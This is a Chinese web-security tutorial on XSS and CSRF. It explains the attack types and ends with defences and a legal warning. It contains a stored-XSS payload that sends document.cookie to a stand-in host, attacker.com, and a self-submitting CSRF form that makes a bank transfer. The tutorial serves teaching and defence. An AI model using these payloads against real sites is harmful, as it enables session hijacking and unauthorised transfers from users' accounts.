【第七期】漏洞攻防-前端篇：XSS 与 CSRF —— 当浏览器成为攻击者的“肉鸡”

2026/6/16 1:35:51

💡导读：如果说 SQL 注入是攻击服务器，那么XSS（跨站脚本） 和CSRF（跨站请求伪造） 则是攻击用户。在这个浏览器即操作系统的时代，前端漏洞的危害不容小觑。本期我们将揭秘：为什么你只是点开了一个链接，黑客就能盗走你的 Cookies，甚至用你的账号发帖、转账？

一、 XSS：让你的浏览器替我干活

XSS (Cross-Site Scripting) 的本质是：网站没有过滤用户输入，导致攻击者可以在网页中插入恶意 JavaScript 代码，而其他用户浏览时，代码会自动执行。

1. 三种主要形态

类型	存储型 (Stored)	反射型 (Reflected)	DOM 型 (DOM-based)
存储位置	服务器数据库	不在服务器存储	客户端 DOM
触发方式	用户访问含恶意代码的页面	用户点击含恶意参数的链接	前端 JS 处理逻辑不当
危害程度	⭐⭐⭐⭐⭐ (蠕虫级)	⭐⭐⭐ (钓鱼/盗号)	⭐⭐⭐⭐ (API 劫持)
例子	恶意评论`<script>alert(1)</script>`	搜索框`?q=<script>...</script>`	URL`#<img src=x onerror=alert(1)>`

2. 实战演练：盗取 Cookie（Session Hijacking）

这是 XSS 最经典的利用方式。

场景：某论坛存在存储型 XSS。

Payload（攻击载荷）：

<script> // 1. 创建一个 Image 对象 var img = new Image(); // 2. 将当前页面的 Cookie 发送到攻击者的服务器 img.src = "http://attacker.com/log?" + document.cookie; </script>

攻击流程：

攻击者将上述代码发布在论坛帖子或评论中。
受害者浏览该帖子，浏览器执行这段 JS。
受害者的PHPSESSID=abc123被发送到attacker.com。
攻击者拿到abc123，在 Burp Suite 中替换自己的 Cookie。
结果：攻击者无需密码，直接登录受害者的账户。

二、 CSRF：借用你的“身份证”办事

CSRF (Cross-Site Request Forgery) 俗称“点猪”，意思是：利用用户已登录的身份，在用户不知情的情况下，伪造请求执行恶意操作。

1. 核心逻辑：浏览器自带“助攻”

当你登录bank.com后，浏览器会自动保存该域下的 Cookie。

此时，如果你访问了一个恶意网站evil.com，该网站中的代码试图向bank.com发起转账请求，浏览器会自动带上bank.com的 Cookie。

服务器看到 Cookie 是对的，就以为是用户本人操作的。

2. 实战演练：自动转账

场景：某银行转账接口设计简陋。

正常转账请求：

http

POST /transfer HTTP/1.1 Host: bank.com Cookie: session=logged_in_user amount=1000&to=hacker_account

攻击者的evil.html：

<body onload="document.forms[0].submit()"> <form action="https://bank.com/transfer" method="POST"> <input type="hidden" name="amount" value="10000"> <input type="hidden" name="to" value="hacker_account"> </form> </body>

结果：只要用户登录了网银，且打开了evil.html，就会立刻静默转账 10000 元。

三、 2026 年前沿：绕过现代防御

现在的浏览器和框架都有防护，但黑客总有办法。

1. CSP (Content Security Policy) 绕过

CSP 是为了防止 XSS 执行。但如果配置不当：

script-src 'unsafe-inline'：允许内联脚本，XSS 依然有效。
script-src https://cdn.com：如果cdn.com存在任意文件上传，可以引入恶意 JS。

2. 基于 DOM 的 CSRF

现代网站多用 API + Token（如 JWT）。如果 Token 存储在localStorage中，且前端 JS 自动将其添加到 Header 里，传统的 CSRF（靠 Cookie）会失效。

但是：如果网站存在XSS，攻击者可以直接读取localStorage['token']，然后用这个 Token 调用 API，实现“无 Cookie 接管”。

四、实战：在 Juice Shop 中寻找 XSS

登录 Juice Shop。
找到“评论”功能或“搜索”框。
尝试输入最简单的 Payload：<script>alert('XSS')</script>。
如果弹窗出现，说明存在 XSS。
进阶：尝试使用<img src=x onerror=alert(document.cookie)>来绕过一些简单的过滤。

五、防御指南：如何修补？

1. 防 XSS

输入过滤：对< > " '等特殊字符进行转义（HTML Entity）。
CSP 头：设置Content-Security-Policy: default-src 'self'; script-src 'self'，禁止外链脚本。
HttpOnly：给 Cookie 加上HttpOnly属性，禁止 JavaScript 读取 Cookie（这是防 XSS 盗 Session 的大招）。

2. 防 CSRF

CSRF Token：服务器生成一个随机 Token 埋在表单里，每次请求必须携带，攻击者无法伪造。
SameSite Cookie：设置Set-Cookie: session=xyz; SameSite=Strict，禁止第三方网站发起请求时携带 Cookie。

⚠️ 安全警示与法律红线

请务必遵守以下准则：

XSS 红线：利用 XSS 漏洞盗取他人 Cookie、挂马、蠕虫传播，属于非法获取计算机信息系统数据罪。
CSRF 红线：制作 CSRF POC（概念验证）测试时，仅限于无危害的 GET 请求（如刷新页面）。严禁构造转账、修改密码、发送邮件等高危 POC 在真实网站上测试。
隐私保护：在截图证明漏洞时，务必遮挡受害者的个人信息（头像、昵称、手机号）。